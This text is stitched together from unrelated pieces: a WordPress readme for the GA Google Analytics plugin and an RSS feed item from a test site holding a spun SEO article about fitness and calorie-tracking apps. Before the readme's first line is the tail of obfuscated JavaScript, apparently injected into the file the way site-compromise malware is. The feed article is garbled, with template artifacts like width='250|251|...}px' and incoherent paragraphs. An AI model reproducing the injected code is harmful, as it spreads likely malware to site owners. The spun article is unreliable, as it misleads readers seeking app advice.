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Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};=== GA Google Analytics – Connect Google Analytics to WordPress ===

Plugin Name: GA Google Analytics
Plugin URI: https://perishablepress.com/google-analytics-plugin/
Description: Adds your Google Analytics Tracking Code to your WordPress site.
Tags: analytics, google, google analytics, tracking, statistics
Author: Jeff Starr
Author URI: https://plugin-planet.com/
Donate link: https://monzillamedia.com/donate.html
Contributors: specialk
Requires at least: 4.6
Tested up to: 6.6
Stable tag: 20240820
Version:    20240820
Requires PHP: 5.6.20
Text Domain: ga-google-analytics
Domain Path: /languages
License: GPL v2 or later

Adds Google Analytics 4 tracking code to your WordPress site. Supports many tracking features.



== Description ==

> Connects Google Analytics to WordPress
> Easily add Google Analytics 4 to your web pages

This plugin enables Google Analytics for your entire WordPress site. Lightweight and fast with plenty of great features.


### Enable Google Analytics 4 ###

Steps to enable Google Analytics 4:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"

Save changes and done. Wait 24-48 hours before viewing collected data in your GA account.


### GA Tracking Options ###

Here are the tracking methods available with this plugin:

* [GA4](https://support.google.com/analytics/answer/10089681) / Google Analytics 4 (default)
* [Universal Analytics](https://support.google.com/analytics/answer/11583528) (deprecated)
* Legacy Tracking (deprecated)

__Note:__ GA4 is recommended. Google has deprecated/disabled all other tracking options.


### GA Feature Support ###

* Supports [Google Analytics 4](https://support.google.com/analytics/answer/9304153)
* Supports [Display Advertising](https://support.google.com/analytics/answer/2444872)
* Supports [Enhanced Link Attribution](https://support.google.com/analytics/answer/7377126)
* Supports [IP Anonymization](https://support.google.com/analytics/answer/2763052)
* Supports [Force SSL](https://support.google.com/analytics/answer/6385009)
* Supports [Google Optimize](https://support.google.com/analytics/answer/12979939)
* Supports Tracker Objects (Universal Analytics)
* Supports User Opt-Out (Universal Analytics)

Also supports tracking links and conversions via the Custom Code setting. Learn more about [Google Analytics](https://www.google.com/analytics/).


### Features ###

* Blazing fast performance
* Does one thing and does it well
* Drop-dead simple and easy to use
* Regularly updated and "future proof"
* Stays current with the latest tracking code
* Includes tracking code in header or footer
* Includes tracking code on all WordPress web pages
* Includes option to add your own custom markup
* Sleek plugin Settings page with toggling panels
* Option to disable tracking of admin-level users
* Option to enable page tracking in the Admin Area
* Works with or without Gutenberg Block Editor
* Easy to customize the tracking code
* More features available in the [Pro version&nbsp;&raquo;](https://plugin-planet.com/ga-google-analytics-pro/)

This is a lightweight plugin that inserts the required GA tracking code. To view your site statistics, visit your Google Analytics account.


### Pro Version ###

[GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) includes the same features as the free version, PLUS the following:

* Visitor Opt-Out Box (frontend UI)
* Configure multiple tracking codes
* Live Preview of all tracking codes
* Choose location of multiple tracking codes
* Supports Custom Code in header or footer
* Disable tracking of all logged-in users
* Disable Tracking for any Post IDs, User Roles, Post Types
* Disable Tracking for Search Results and Post Archives
* Display Opt-Out Box automatically or via shortcode
* Complete Inline Help/Documentation
* Priority plugin help and support

Learn more and get [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Privacy ###

__User Data:__ This plugin does not collect any user data. Even so, the tracking code added by this plugin is used by Google to collect all sorts of user data. You can learn more about Google Privacy [here](https://policies.google.com/privacy?hl=en-US).

__Cookies:__ This plugin uses simple cookies for the visitor Opt-Out Box to remember user preference for opt-in or out of Google Analytics.

__Services:__ This plugin does not connect to any third-party locations or services, but it does enable Google to collect all sorts of data.

GA Google Analytics is developed and maintained by [Jeff Starr](https://twitter.com/perishable), 15-year [WordPress developer](https://plugin-planet.com/) and [book author](https://books.perishablepress.com/).


### Support development ###

I develop and maintain this free plugin with love for the WordPress community. To show support, you can [make a donation](https://monzillamedia.com/donate.html) or purchase one of my books: 

* [The Tao of WordPress](https://wp-tao.com/)
* [Digging into WordPress](https://digwp.com/)
* [.htaccess made easy](https://htaccessbook.com/)
* [WordPress Themes In Depth](https://wp-tao.com/wordpress-themes-book/)
* [Wizard's SQL Recipes for WordPress](https://books.perishablepress.com/downloads/wizards-collection-sql-recipes-wordpress/)

And/or purchase one of my premium WordPress plugins:

* [BBQ Pro](https://plugin-planet.com/bbq-pro/) - Super fast WordPress firewall
* [Blackhole Pro](https://plugin-planet.com/blackhole-pro/) - Automatically block bad bots
* [Banhammer Pro](https://plugin-planet.com/banhammer-pro/) - Monitor traffic and ban the bad guys
* [GA Google Analytics Pro](https://plugin-planet.com/ga-google-analytics-pro/) - Connect WordPress to Google Analytics
* [Simple Ajax Chat Pro](https://plugin-planet.com/simple-ajax-chat-pro/) - Unlimited chat rooms
* [USP Pro](https://plugin-planet.com/usp-pro/) - Unlimited front-end forms

Links, tweets and likes also appreciated. Thank you! :)



== Installation ==

### How to install the plugin ###

1. Upload the plugin to your blog and activate
2. Visit the settings to configure your options

After configuring your settings, you can verify that GA tracking code is included by viewing the source code of your web pages.

__Note:__ this plugin adds the required GA code to your web pages. In order for the code to do anything, it must correspond to an active, properly configured Google Analytics account. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).

[More info on installing WP plugins &raquo;](https://wordpress.org/support/article/managing-plugins/#installing-plugins)


### How to use the plugin ###

To enable Google Analytics tracking (GA4) on your site, follow these steps:

1. Follow [this guide](https://support.google.com/analytics/answer/9304153) to create a GA 4 account
2. During account creation, you'll get a tracking (measurement) ID
3. Add your new tracking ID to the plugin setting, "GA Tracking ID"
4. Select "GA4" for the plugin setting, "Tracking Method"
5. Configure any other plugin settings as desired (optional)

Save changes and done. After 24-48 hours, you can log into your Google Analytics account and view your site statistics.

__* Notes:__

The "Tracking ID" also may be referred to as "Measurement ID", "Property ID", or "Tag ID".

Also note that it can take 24-48 hours after adding the tracking code before any analytical data appears in your [Google Analytics account](https://developers.google.com/analytics/). To check that the GA tacking code is included properly, examine the source code of your web pages. Learn more at the [Google Analytics Help Center](https://support.google.com/analytics/).


### Upgrading Analytics ###

Google Analytics tracking methods [change over time](https://onward.justia.com/history-of-google-analytics/). First there was `urchin.js`, then `ga.js`, `analytics.js`, and then `gtag.js`. Now there is the latest and greatest, "GA4" (Google Analytics 4). If you are using an older version (anything other than GA4) and want to upgrade, check out this [upgrade guide](https://support.google.com/analytics/answer/10759417) from Google.


### Plugin Upgrades ###

To upgrade GA Google Analytics, remove the old version and replace with the new version. Or just click "Update" from the Plugins screen and let WordPress do it for you automatically.

__Note:__ uninstalling the plugin from the WP Plugins screen results in the removal of all settings from the WP database. 

For more information, visit the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).


### Restore Default Options ###

To restore default plugin options, either uninstall/reinstall the plugin, or visit the plugin settings &gt; Restore Default Options.


### Uninstalling ###

GA Google Analytics cleans up after itself. All plugin settings will be removed from your database when the plugin is uninstalled via the Plugins screen. Your collected GA data will remain in your Google account.


### Pro Version ###

Want more control over your GA Tracking codes? With awesome features like Opt-Out Box and Code Previews? Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


### Like the plugin? ###

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!



== Screenshots ==

1. GA Google Analytics: Plugin Settings (default)
2. GA Google Analytics: Plugin Settings (expanded)

More screenshots available at the [GA Plugin Homepage](https://perishablepress.com/google-analytics-plugin/).



== Frequently Asked Questions ==


**How to enable Google Analytics 4?**

Check out the top of this page, first section provides the steps to add GA4 to your site.


**I am confused about all the different tracking methods?**

This article should help to get a better idea of the changes: [History of Google Analytics](https://onward.justia.com/history-of-google-analytics/)


**Tracking code is not displayed in source code?**

If you check the source code of your pages and don't see the GA tracking code, check the following:

* Check that your theme includes the hooks, `wp_head` and `wp_footer`
* If you are using a caching plugin, try clearing the cache

If the GA tracking code still is not displayed, most likely there is interference from another plugin or theme. In this case, the best way to resolve the issue is to do some basic [WordPress troubleshooting](https://perishablepress.com/how-to-troubleshoot-wordpress/).


**Google Analytics says tracking code is not detected?**

You need to wait 24-48 hours (or longer) for Google to collect some data. Just takes time for Googlebot to crawl your pages, collect and process data, etc. For more information, check out the [Google Analytics Help Center](https://support.google.com/analytics/).


**Can I filter the output of the "Custom GA Code" setting?**

Yes, you can use the `gap_custom_code` filter hook.


**How to implement Google Optimize?**

Here are the steps:

1. Enable Universal Analytics in the plugin settings
2. Add the Optimize plugin (e.g., `ga('require', 'GTM-XXXXXX');`) to the setting, "Custom GA Code"
3. Add the Page Hiding (flicker) snippet to the setting, "Custom &lt;head&gt; Code"
4. Enable the setting, "Custom &lt;head&gt; Location"

Done! You can view the source code of your web pages to verify the results.

More info about [Google Optimize](https://support.google.com/analytics/answer/12979939).


**How to enable Opt-out of tracking?**

Here are the steps:

1. Add the following code to the plugin setting, "Custom Code": `<script>window['ga-disable-UA-XXXXX-Y'] = true;</script>`
2. Check the box to enable the setting, "Custom Code Location".

Done! You can view the source code of your web pages to verify the results.


**How to disable the "auto" parameter in ga(create)?**

By default the plugin includes the `auto` parameter in the tracking code:

	ga('create', 'GA-123456789000', 'auto');

However some tracking techniques (such as Site Speed Sample Rate) require replacing the `auto` parameter. To do it:

First disable the `auto` parameter by adding the following code to WordPress functions or [custom plugin](https://digwp.com/2022/02/custom-code-wordpress/):

	// GA Google Analytics - Disable auto parameter
	function ga_google_analytics_enable_auto($enable) { return false; }
	add_filter('ga_google_analytics_enable_auto', 'ga_google_analytics_enable_auto');

Now that `auto` is disabled, you can replace it with your own parameter(s). For example, to implement Universal Analytics Site Speed Sample Rate, enter the following code in the plugin setting "Custom Tracker Objects":

	{'siteSpeedSampleRate': 100}

Save changes and done. The resulting tracking code will now look like this:

	ga('create', 'GA-123456789000', {'siteSpeedSampleRate': 100});

So can adjust things as needed to add any parameters that are required.


**How to implement Anonymize?**

1. Add to "Custom Tracker Objects" setting: `{ 'anonymize_ip': true }`
2. Save changes and done.


**Got a question?**

To ask a question, suggest a feature, or provide feedback, [contact me directly](https://plugin-planet.com/support/#contact). Learn more about [Google Analytics](https://www.google.com/analytics/).



== Changelog ==

*Thank you to everyone who shares feedback for GA Google Analytics!*

If you like GA Google Analytics, please take a moment to [give a 5-star rating](https://wordpress.org/support/plugin/ga-google-analytics/reviews/?rate=5#new-post). It helps to keep development and support going strong. Thank you!

> New Pro version available! Check out [GA Pro &raquo;](https://plugin-planet.com/ga-google-analytics-pro/)


**20240820**

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	<title>11 Best Gym Workout Apps in 2026 GetFit AI &#8211; pspwptest</title>
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		<title>Best Free App for Tracking Workouts: Top Picks, Comparison, and How to Choose Setgraph: Workout Tracker App</title>
		<link>https://psp-wp-test.objectsdev.com/best-free-app-for-tracking-workouts-top-picks/</link>
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		<dc:creator><![CDATA[admin-pspwptest]]></dc:creator>
		<pubDate>Tue, 24 Mar 2026 13:31:21 +0000</pubDate>
				<category><![CDATA[11 Best Gym Workout Apps in 2026 GetFit AI]]></category>
		<guid isPermaLink="false">https://psp-wp-test.objectsdev.com/?p=926932</guid>

					<description><![CDATA[Yet, for a new runner who wants a device to guide them through their first 5K or half-marathon, this is an outstanding (and subscription-free) choice. To join Apple Fitness Plus, you can try it out for free for up to three months and then have the option to pay month-to-month, $10 or $80 for the [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Yet, for a new runner who wants a device to guide them through their first 5K or half-marathon, this is an outstanding (and subscription-free) choice. To join Apple Fitness Plus, you can try it out for free for up to three months and then have the option to pay month-to-month, $10 or $80 for the year. If you&#8217;re on a family plan, you can share access to Apple Fitness Plus with up to five family members.</p>
<h2>Best for Serious Athletes: Garmin Connect + MyFitnessPal</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best app for tracking calories and workouts" src="https://help.apple.com/assets/66678A597431DC4B6F0906DD/66678A6025603C144F020822/en_US/92bb24884c81d6e7a18d0ee69acd8aef.png"/></p>
<p>Integration may be necessary for users who rely on other tools or devices to monitor their health metrics, such as fitness trackers or health monitoring devices. Is all about helping you in losing weight and achieving exercising goals. It lets you set your goals and then assists you in reaching them.</p>
<h3>Expenditure Modifiers, New Success Story, and MacroFactor Workouts Progress</h3>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best app for tracking calories and workouts" src="https://i.pinimg.com/474x/2b/63/c2/2b63c2b6ea1851e4ea605e60c1d65c73.jpg"/></p>
<p>An Apple Watch or Pixel Watch lets you use third-party apps, make contactless payments (Apple/Google Pay), and take calls. A Huawei Watch Fit 4 will let you answer a call on your wrist (via Bluetooth), but you can’t download Spotify, set up a cellular plan for standalone support, or pay for a coffee after a run. A band (like a Xiaomi or Fitbit) is slim, light, and great for 24/7 wear. A smartwatch tracker offers a much larger, more engaging screen, with a range of basic and advanced options. A ring (like Oura) or a screenless band (like Whoop) is the most discreet, designed to collect data passively in the background without screen-based distractions. The free version is simple enough, but the Premium version ($79.99 a year) offers personalized tracking, meal prep, and guided fitness plans.</p>
<h3>Detailed nutrient breakdowns</h3>
<p>With SnapCalorie, you no longer need to worry about logging every bite manually or paying for features that should be standard. Instead, you can enjoy a streamlined, stress-free approach to tracking food, which pairs perfectly with your workout routine. When combined with SnapCalorie for your nutrition, these apps create a powerful, free system for managing both your calories and workouts.</p>
<h2>Best for diet quality</h2>
<p>“This is my go-to app because it has both free and paid versions, and I think it’s the most in-depth in terms of macro and micronutrients,” says Russell. You can also link the app to fitness trackers for a more in-depth picture of your nutrient needs, she adds. As most of us know, the journey to becoming the fittest version of ourselves isn’t easy. It requires major planning, preparation, and a combination of a clean diet and exercise. Since there are so many working parts in the equation, scouting out tools to help you along the way may save you time. The average person is incredibly busy, whether it’s work, school, kids, or just everyday life.</p>
<h2>Maintain a healthy diet</h2>
<p>Plus, Spokin processes if a restaurant or recipe is right for you within seconds to avoid accidental exposure and hidden allergens. The apps reviewed here all provide free core functionality that would&#8217;ve cost hundreds in personal training fees a decade ago. Take advantage of these tools, but remember they&#8217;re just tools.</p>
<h3>GitHub &#8211; davidhealey/waistline: Libre calorie counter app for Android. Built&#8230;</h3>
<p>This is one of the most popular apps in the fitness industry when it comes to counting calories. It features a great combination of functions such as counting calories, macronutrients, and exercise. When you download the app, you enter your goals for your fitness journey, whether that’s losing weight, gaining weight or just maintaining. You can also follow your friends and family on the app to see what they’re up to. One of the most useful parts of this app is the ability to look up foods of all different brands. Users can enter food information and there are already thousands of brands and varieties in the system.</p>
<p>The app has 18 million foods listed, meaning you should be able to find anything you plan to eat. If you’ve ever tried tracking calories without the help of an app, you’ll know it can be a long-winded process. First, you have to look up how many calories each ingredient contains and then figure out your portion size. From there, you have to add together all the calories of each ingredient to get an idea of your total intake.</p>
<p>If you’re pregnant or lactating, you can select a customized profile based on higher calorie needs. The app also has a chat community where users can swap success stories and get tips, recipes, and more. Options for meal planning, food allergies, weight loss, and more. It pulls calories from Garmin after I sync my 530 to my Garmin Connect App, then I open my Lose It app while GC is open. You might check if you have a setting in Loseit that chooses to ignore activity calories.</p>
<h2>Day Bro Split for Natural Bodybuilding (+Sample Workouts)</h2>
<p>Most modern logging apps allow offline entry and then sync when you regain connection. Confirm this in app settings by checking for local save options or simply test by turning on airplane mode and logging a workout. If offline save is not reliable, consider an app that explicitly advertises local-first logging. If data portability is crucial, verify export options before investing time in years of logging. MyFitnessPal is primarily a nutrition diary but includes the ability to log workouts manually or import from devices. If diet and training are linked for your goal, it is a strong free choice.</p>
<h3>It’s still not easy to track added sugar.</h3>
<ul>
<li>Noom also wants you to weigh yourself everyday, showing your results in real time.</li>
<li>Unlike apps that accept any user submission, Cronometer verifies entries against official sources.</li>
<li>After a week of real use, you&#8217;ll know which interface matches your workflow.</li>
<li>The app also gives Fitbit wearers detailed data on their heart rate, sleep quality and more, while upgrading to the premium subscription also gets you access to workouts from Fitbit’s expert trainers.</li>
<li>It has warm and inviting colors, is easy to use, and is more visually aesthetic with an easier interface.</li>
<li>You swap ingredients, try new recipes, even cut out entire food groups, but you’re still guessing what actually helps your body feel better.</li>
</ul>
<p>Choose one app, start logging, and let small consistent improvements compound into long-term results. If you want a lightweight, privacy-conscious start and additional reading on training principles, see Setgraph articles and guides. Start small, log consistently, and use data to inform adjustments rather than chasing every metric.</p>
<h3>User Success Stories</h3>
<p>The base and middle-tier subscriptions provide plenty of specialized activity data, including coaching features that provide tips for exercise <a href="https://www.reddit.com/r/fitbod/comments/1bauygp/alternatives/">fitbod alternatives</a> and sleep. In our tests of step count accuracy, the Fitbit Inspire 3 was off from our pedometer readout by just 0.32% over a two-day period — the best of all the fitness trackers tested. In a one-mile test of how accurately it recorded distance, the Inspire 3 had one of the better tallies, being over by only 0.03 mile. Upgrading to Track Pro allows you to access the app&#8217;s Coach Portal and share your food log with your trainer or nutritionist. You can log food items by speaking into the app, but note that some users have reported difficulty with the dictation feature. Eating fewer calories than the combination of your BMR+exercise will result in weight loss.</p>
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